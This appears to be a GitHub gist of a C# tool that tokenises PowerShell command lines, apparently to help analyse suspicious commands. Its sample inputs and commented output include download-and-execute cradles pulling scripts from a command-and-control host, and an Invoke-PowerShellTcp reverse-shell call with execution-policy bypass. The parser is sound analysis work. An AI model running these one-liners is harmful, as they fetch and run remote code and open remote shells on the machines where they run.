Skip to content

Instantly share code, notes, and snippets.

@DiabloHorn
Created March 31, 2024 22:14
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save DiabloHorn/e6ef65867b923b76831556ff0411c9c1 to your computer and use it in GitHub Desktop.
Save DiabloHorn/e6ef65867b923b76831556ff0411c9c1 to your computer and use it in GitHub Desktop.
namespace DiabloHorn.PowerShell.ParseCommandLine
{
/*
https://powershell.one/powershell-internals/parsing-and-tokenization/simple-tokenizer
https://learn.microsoft.com/en-us/powershell/scripting/developer/hosting/windows-powershell01-sample?view=powershell-7.4
*/
using System;
using System.Collections.ObjectModel;
//dotnet add package System.Management.Automation (inside folder with .csproj)
using System.Management.Automation;
using System.Management.Automation.Language;
using System.Runtime.CompilerServices;
class PSCmdLineToNamedTokens
{
static void Main(string[] args)
{
String[] testTexts = new string[5];
testTexts[0] = "powershell iex (New-Object Net.WebClient).DownloadString('http://<yourwebserver>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]";
testTexts[1] = "powershell -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://www.c2server.co.uk/script.ps1');\"";
testTexts[2] = """powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://c2server.co.uk/script.ps1')|iex" """;
testTexts[3] = """powershell.exe -Verb runAs -ArgumentList "-File C:\Scripts\MyScript.ps1" """;
testTexts[4] = """powershell.exe -File "C:\Temp\YourScript.ps1" -Noexit""";
if (args.Length == 1)
{
String filePath = args[0];
if (!File.Exists(filePath))
{
Console.WriteLine($"File {filePath} not found.");
return;
}
using (StreamReader reader = new StreamReader(filePath))
{
string line;
while ((line = reader.ReadLine()) != null)
{
List<KeyValuePair<PSTokenType, string>> extractedTokens = TokenizeAndExtractTokens(line);
foreach(KeyValuePair<PSTokenType, string> kvp in extractedTokens)
{
Console.WriteLine($"[{kvp.Key}] {kvp.Value}");
}
}
}
return;
}
//var ast = Parser.ParseInput(text, out Token[] tokens, out ParseError[] errors);
//Console.WriteLine($"[{tokens[i].Kind}][{tokens[i].TokenFlags}][{tokens[i].GetType()}] {tokens[i].Text}");
foreach(String line in testTexts)
{
List<KeyValuePair<PSTokenType, string>> extractedTokens = TokenizeAndExtractTokens(line);
foreach(KeyValuePair<PSTokenType, string> kvp in extractedTokens)
{
Console.WriteLine($"[{kvp.Key}] {kvp.Value}");
}
Console.WriteLine("=============================");
}
}
static List<KeyValuePair<PSTokenType, string>> TokenizeAndExtractTokens(string text)
{
var tokenList = new List<KeyValuePair<PSTokenType, string>>();
Collection<PSParseError> errors = null;
// Tokenize the text
Collection<PSToken> tokens = PSParser.Tokenize(text, out errors);
if (tokens.Count > 0)
{
for (int i = 0; i < tokens.Count; i++)
{
// Extract token type and actual token
PSTokenType tokenType = tokens[i].Type;
string token = text.Substring(tokens[i].Start, tokens[i].Length);
tokenList.Add(new KeyValuePair<PSTokenType, String>(tokenType, token));
}
}
return tokenList;
}
}
}
/*
Example Output:
[Command] powershell
[CommandArgument] iex
[GroupStart] (
[Command] New-Object
[CommandArgument] Net.WebClient
[GroupEnd] )
[Operator] .
[Member] DownloadString
[GroupStart] (
[String] 'http://<yourwebserver>/Invoke-PowerShellTcp.ps1'
[GroupEnd] )
[StatementSeparator] ;
[Command] Invoke-PowerShellTcp
[CommandParameter] -Reverse
[CommandParameter] -IPAddress
[CommandArgument] [IP]
[CommandParameter] -Port
[CommandArgument] [PortNo.]
=============================
[Command] powershell
[CommandParameter] -nop
[CommandParameter] -exec
[CommandArgument] bypass
[CommandParameter] -c
[String] "IEX (New-Object Net.WebClient).DownloadString('http://www.c2server.co.uk/script.ps1');"
=============================
[Command] powershell
[CommandParameter] -exec
[CommandArgument] bypass
[CommandParameter] -c
[String] "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://c2server.co.uk/script.ps1')|iex"
=============================
[Command] powershell.exe
[CommandParameter] -Verb
[CommandArgument] runAs
[CommandParameter] -ArgumentList
[String] "-File C:\Scripts\MyScript.ps1"
=============================
[Command] powershell.exe
[CommandParameter] -File
[String] "C:\Temp\YourScript.ps1"
[CommandParameter] -Noexit
=============================
*/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment